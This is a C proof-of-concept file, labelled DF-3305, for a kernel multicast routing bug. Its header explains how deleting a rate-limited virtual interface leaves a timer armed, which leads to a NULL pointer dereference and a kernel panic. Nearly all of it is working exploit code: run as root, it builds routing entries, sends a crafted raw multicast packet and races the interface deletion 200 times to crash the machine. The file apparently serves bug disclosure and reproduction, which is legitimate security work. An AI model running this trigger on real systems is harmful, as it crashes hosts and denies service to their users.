DF-3305 / tbfcallout.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | /* * DF-3305 PoC: del_vif() does not stop/cancel the armed tbf_reprocess_q_ch * callout that was scheduled with `vifp` as its argument by tbf_control(). * del_vif() bzero()s the vif (v_tbf becomes NULL) and the callout fires up * to 10 ms later -> tbf_reprocess_q() -> tbf_update_tokens(vifp) reads * `struct tbf *t = vifp->v_tbf;` (== NULL) and dereferences * t->tbf_last_pkt_t in TV_DELTA() -> NULL pointer dereference panic. * * Root trigger: MRT_INIT, add a rate-limited phyint vif, forward one * multicast packet out of it (queues it, arms the 10ms callout), then * MRT_DEL_VIF immediately. Loop until the callout fires while the vif is * dead. Expected: kernel panic "Fatal trap ... virtual addr ..." in * tbf_update_tokens / tbf_reprocess_q. * * build: cc -O2 -o tbfcallout tbfcallout.c * run: ./tbfcallout */ #include <sys/param.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include "ip_mroute_common.h" #define ITERS 200 int main(void) { struct vifctl vc; struct mfcctl2 mfc; struct sockaddr_in dst; int igmp, raw; int i, rc; char pkt[64]; struct ip *ip = (struct ip *)pkt; igmp = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP); if (igmp < 0) { perror("raw igmp socket (must run as root)"); exit(1); } rc = mrt_init(igmp); printf("MRT_INIT: %d\n", rc); raw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (raw < 0) { perror("raw socket"); exit(1); } i = 1; setsockopt(raw, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)); /* * Attach multicast options: without an imo, ip_output forces * ip_ttl = 1 and ip_mforward drops the packet before it ever * reaches the vif/tbf. */ i = 5; if (setsockopt(raw, IPPROTO_IP, IP_MULTICAST_TTL, &i, sizeof(i)) < 0) perror("IP_MULTICAST_TTL"); i = 0; setsockopt(raw, IPPROTO_IP, IP_MULTICAST_LOOP, &i, sizeof(i)); for (i = 0; i < ITERS; i++) { /* vif0: phyint on vtnet0 (10.0.2.15), rate limit 100 kbit/s */ memset(&vc, 0, sizeof(vc)); vc.vifc_vifi = 0; vc.vifc_flags = 0; /* phyint */ vc.vifc_threshold = 1; vc.vifc_rate_limit = 100; /* != 0 -> tbf path */ vc.vifc_lcl_addr.s_addr = inet_addr("10.0.2.15"); vc.vifc_rmt_addr.s_addr = inet_addr("255.255.255.0"); rc = setsockopt(igmp, IPPROTO_IP, MRT_ADD_VIF, &vc, sizeof(vc)); if (rc < 0) { perror("MRT_ADD_VIF"); exit(1); } /* mfc: (10.9.9.9, 224.7.7.7) parent vif0, forward ttl 1 */ memset(&mfc, 0, sizeof(mfc)); mfc.mfcc_origin.s_addr = inet_addr("10.9.9.9"); mfc.mfcc_mcastgrp.s_addr = inet_addr("224.7.7.7"); mfc.mfcc_parent = 0; mfc.mfcc_ttls[0] = 1; rc = setsockopt(igmp, IPPROTO_IP, MRT_ADD_MFC, &mfc, sizeof(mfc)); if (rc < 0) { perror("MRT_ADD_MFC"); exit(1); } /* * Send one multicast packet that matches the mfc. * ip_output -> (ip_mrouter) -> ip_mforward -> ip_mdq -> * phyint_send -> tbf_control: tokens ~0 < pkt len -> * tbf_queue + callout_reset(tbf_reprocess_q, hz/100, vifp) */ memset(pkt, 0, sizeof(pkt)); ip->ip_hl = 5; ip->ip_v = IPVERSION; ip->ip_tos = 0; ip->ip_len = htons(sizeof(pkt)); ip->ip_id = htons(i + 1); ip->ip_off = 0; ip->ip_ttl = 5; ip->ip_p = IPPROTO_UDP; ip->ip_sum = 0; ip->ip_src.s_addr = inet_addr("10.9.9.9"); ip->ip_dst.s_addr = inet_addr("224.7.7.7"); ip->ip_sum = in_cksum_hdr(ip); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_len = sizeof(dst); dst.sin_addr = ip->ip_dst; rc = sendto(raw, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); if (rc < 0) perror("sendto"); /* * Kill the vif inside the 10 ms callout window. * del_vif bzero()s viftable[0] -> v_tbf == NULL but leaves * tbf_reprocess_q_ch armed with &viftable[0]. */ rc = mrt_del_vif(igmp, 0); printf("iter %d: sent, DEL_VIF rc=%d; waiting for callout...\n", i, rc); usleep(40000); /* let the 10ms callout fire */ } printf("no panic after %d iterations\n", ITERS); return 0; } |